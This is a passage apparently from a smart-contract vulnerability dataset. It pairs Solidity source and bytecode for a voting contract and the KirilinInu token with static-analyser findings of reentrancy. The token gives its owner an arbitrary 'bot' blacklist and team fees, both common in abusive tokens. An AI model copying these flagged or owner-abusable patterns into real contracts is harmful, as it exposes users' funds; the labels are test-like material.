8989611741565b90611357565b905060006116c960646116b08a89611741565b905060006116e1826116db8b8661158d565b9061158d565b9992985090965090945050505050565b60008080806117008886611741565b9050600061170e8887611741565b9050600061171c8888611741565b9050600061172e826116db868661158d565b939b939a50919850919650505050505050565b6000826117505750600061067f565b600061175c8385611b5c565b9050826117698583611b3a565b146111765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f9565b80356117cb81611bef565b919050565b803580151581146117cb57600080fd5b6000602082840312156117f257600080fd5b813561117681611bef565b60006020828403121561180f57600080fd5b815161117681611bef565b6000806040838503121561182d57600080fd5b823561183881611bef565b9150602083013561184881611bef565b809150509250929050565b60008060006060848603121561186857600080fd5b833561187381611bef565b9250602084013561188381611bef565b929592945050506040919091013590565b600080604083850312156118a757600080fd5b82356118b281611bef565b91506118c0602084016117d0565b90509250929050565b600080604083850312156118dc57600080fd5b82356118e781611bef565b946020939093013593505050565b6000602080838503121561190857600080fd5b823567ffffffffffffffff8082111561192057600080fd5b818501915085601f83011261193457600080fd5b81358181111561194657611946611bd9565b8060051b604051601f19603f8301168101818110858211171561196b5761196b611bd9565b604052828152858101935084860182860187018a101561198a57600080fd5b600095505b838610156119b4576119a0816117c0565b85526001959095019493860193860161198f565b5098975050505050505050565b6000602082840312156119d357600080fd5b611176826117d0565b6000602082840312156119ee57600080fd5b5035919050565b60008060008060808587031215611a0b57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611a5457858101830151858201604001528201611a38565b81811115611a66576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b015784516001600160a01b031683529383019391830191600101611adc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3557611b35611bad565b500190565b600082611b5757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b7657611b76611bad565b500290565b600082821015611b8d57611b8d611bad565b500390565b6000600019821415611ba657611ba6611bad565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461086f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095cc5cf9bd08189cc424b2d3796d5333568b52f7461a95862e825095de3fc26564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,070 |
0xb88183c0d199ad234ee8ae7093476cd7ed69bf58
|
pragma solidity 0.4.25;
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGAAuthorizationManager_ = "ISGAAuthorizationManager";
bytes32 internal constant _ISGAToken_ = "ISGAToken" ;
bytes32 internal constant _ISGATokenManager_ = "ISGATokenManager" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGATokenManager_ = "BuyWalletsTLSGATokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGATokenManager_ = "SellWalletsTLSGATokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: contracts/saga/interfaces/ISGAAuthorizationManager.sol
/**
* @title SGA Authorization Manager Interface.
*/
interface ISGAAuthorizationManager {
/**
* @dev Determine whether or not a user is authorized to buy SGA.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToBuy(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to sell SGA.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToSell(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGA to another user.
* @param _sender The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransfer(address _sender, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGA from one user to another user.
* @param _sender The address of the custodian user.
* @param _source The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransferFrom(address _sender, address _source, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized for public operation.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedForPublicOperation(address _sender) external view returns (bool);
}
// File: contracts/saga/voting/ApprovalVoting.sol
/**
* @title Approval Voting.
*/
contract ApprovalVoting is ContractAddressLocatorHolder {
string public constant VERSION = "1.0.0";
enum Vote {
Absent,
Yea,
Nay
}
string public description;
mapping(address => Vote) public votes;
address[] public voters;
uint256 public startBlock;
uint256 public endBlock;
event VoteCasted(address indexed voter, bool supports);
/*
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
* @param _description The voting description.
* @param _startBlock The voting start block.
* @param _endBlock The voting end block.
*/
constructor(IContractAddressLocator _contractAddressLocator, string _description, uint256 _startBlock, uint256 _endBlock) ContractAddressLocatorHolder(_contractAddressLocator) public
{
require(_startBlock > block.number, "invalid start block");
require(_endBlock > _startBlock, "invalid end block");
bytes memory _descriptionBytes = bytes(_description);
require(_descriptionBytes.length != 0, "invalid empty description");
description = _description;
startBlock = _startBlock;
endBlock = _endBlock;
}
/**
* @dev Return the contract which implements the ISGAAuthorizationManager interface.
*/
function getSGAAuthorizationManager() public view returns (ISGAAuthorizationManager) {
return ISGAAuthorizationManager(getContractAddress(_ISGAAuthorizationManager_));
}
/**
* @dev throw if called when not active.
*/
modifier onlyIfActive() {
require(isActive(), "voting proposal not active");
_;
}
/**
* @dev throw if called when user already voted.
*/
modifier onlyIfUserVoteAbsent() {
require(votes[msg.sender] == Vote.Absent, "voting proposal already voted");
_;
}
/**
* @dev throw if called when user is not authorized.
*/
modifier onlyIfAuthorizedUser() {
ISGAAuthorizationManager sgaAuthorizationManager = getSGAAuthorizationManager();
bool senderIsAuthorized = sgaAuthorizationManager.isAuthorizedForPublicOperation(msg.sender);
require(senderIsAuthorized, "user is not authorized");
_;
}
/**
* @dev Is active.
* @return is voting active.
*/
function isActive() public view returns (bool) {
uint256 currentBlockNumber = block.number;
return currentBlockNumber >= startBlock && currentBlockNumber <= endBlock;
}
/**
* @dev Get total voters count .
* @return total voters count.
*/
function getTotalVoters() external view returns (uint256) {
return voters.length;
}
/**
* @dev Get voters range.
* @return voters range.
*/
function getVotersRange(uint256 _startIndex, uint256 _count) external view returns (address[] memory) {
uint256 rangeCount = _count;
if (rangeCount > voters.length - _startIndex) {
rangeCount = voters.length - _startIndex;
}
address[] memory rangeVoters = new address[](rangeCount);
for (uint256 i = 0; i < rangeCount; i++) {
rangeVoters[i] = voters[_startIndex + i];
}
return rangeVoters;
}
/**
* @dev Get all voters.
* @return all voters.
*/
function getAllVoters() external view returns (address[] memory) {
return voters;
}
/**
* @dev Vote for proposal.
*/
function voteFor() public
{
castVote(true);
}
/**
* @dev Vote against proposal.
*/
function voteAgainst() public
{
castVote(false);
}
/**
* @dev Cast a vote.
* @param _supports vote decision.
*/
function castVote(bool _supports) public onlyIfActive onlyIfUserVoteAbsent onlyIfAuthorizedUser
{
address sender = msg.sender;
votes[sender] = _supports ? Vote.Yea : Vote.Nay;
voters.push(sender);
emit VoteCasted(sender, _supports);
}
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630667e36981146100df578063083c63231461011d57806322f3e2d41461014457806335bbe70e1461016d57806348cd4cb1146101d25780637284e416146101e757806374f1649a14610271578063793cf218146102865780637ace48e71461029b5780639f396cff146102b7578063d8bff5a5146102cc578063da58c7d91461031e578063dd65db4c14610336578063ffa1ad7414610351578063ffaa360814610366575b600080fd5b3480156100eb57600080fd5b506100f461037b565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561012957600080fd5b506101326103ab565b60408051918252519081900360200190f35b34801561015057600080fd5b506101596103b1565b604080519115158252519081900360200190f35b34801561017957600080fd5b506101826103d0565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101be5781810151838201526020016101a6565b505050509050019250505060405180910390f35b3480156101de57600080fd5b5061013261043f565b3480156101f357600080fd5b506101fc610445565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023657818101518382015260200161021e565b50505050905090810190601f1680156102635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027d57600080fd5b506100f46104f0565b34801561029257600080fd5b5061013261050c565b3480156102a757600080fd5b506102b56004351515610512565b005b3480156102c357600080fd5b506102b5610852565b3480156102d857600080fd5b506102fa73ffffffffffffffffffffffffffffffffffffffff6004351661085e565b6040518082600281111561030a57fe5b60ff16815260200191505060405180910390f35b34801561032a57600080fd5b506100f4600435610873565b34801561034257600080fd5b506101826004356024356108a8565b34801561035d57600080fd5b506101fc61097a565b34801561037257600080fd5b506102b56109b1565b60006103a67f49534741417574686f72697a6174696f6e4d616e6167657200000000000000006109bb565b905090565b60055481565b600454600090439081108015906103ca57506005548111155b91505090565b6060600380548060200260200160405190810160405280929190818152602001828054801561043557602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff16815260019091019060200180831161040a575b5050505050905090565b60045481565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156104e85780601f106104bd576101008083540402835291602001916104e8565b820191906000526020600020905b8154815290600101906020018083116104cb57829003601f168201915b505050505081565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60035490565b600061051c6103b1565b151561058957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f766f74696e672070726f706f73616c206e6f7420616374697665000000000000604482015290519081900360640190fd5b33600090815260026020819052604082205460ff16908111156105a857fe5b1461061457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f766f74696e672070726f706f73616c20616c726561647920766f746564000000604482015290519081900360640190fd5b60008061061f61037b565b604080517f7916910e000000000000000000000000000000000000000000000000000000008152336004820152905191935073ffffffffffffffffffffffffffffffffffffffff841691637916910e916024808201926020929091908290030181600087803b15801561069157600080fd5b505af11580156106a5573d6000803e3d6000fd5b505050506040513d60208110156106bb57600080fd5b5051905080151561072d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f75736572206973206e6f7420617574686f72697a656400000000000000000000604482015290519081900360640190fd5b3392508361073c57600261073f565b60015b73ffffffffffffffffffffffffffffffffffffffff84166000908152600260208190526040909120805490917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0090911690600190849081111561079e57fe5b0217905550600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff85167fffffffffffffffffffffffff0000000000000000000000000000000000000000909116811790915560408051861515815290517fa4861c5510bfa99706ed508d728f9c6b365ff27af1a3012e21980952ad2d844f9181900360200190a250505050565b61085c6000610512565b565b60026020526000908152604090205460ff1681565b600380548290811061088157fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b600354606090829082906000908690038311156108c85760035486900392505b826040519080825280602002602001820160405280156108f2578160200160208202803883390190505b509150600090505b82811015610971576003805487830190811061091257fe5b600091825260209091200154825173ffffffffffffffffffffffffffffffffffffffff9091169083908390811061094557fe5b73ffffffffffffffffffffffffffffffffffffffff9092166020928302909101909101526001016108fa565b50949350505050565b60408051808201909152600581527f312e302e30000000000000000000000000000000000000000000000000000000602082015281565b61085c6001610512565b60008054604080517f0d2020dd00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff90921691630d2020dd9160248082019260209290919082900301818787803b158015610a2f57600080fd5b505af1158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051929150505600a165627a7a723058203dc1bb0da64c65bbbc1035abae1c02fe521077696034c54594176ba09d868cfe0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,071 |
0x1407960d5cea15a887f8f0d8e619e113efeaed16
|
/**
*Submitted for verification at Etherscan.io on 2021-08-22
*/
/*
Welcome to KIRILIN INU
ANIME SEASON IS JUST GETTING STARTED
https://t.me/kirilininu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KirilinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KirilinInu | t.me/kirilininu";
string private constant _symbol = "KIRILIN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606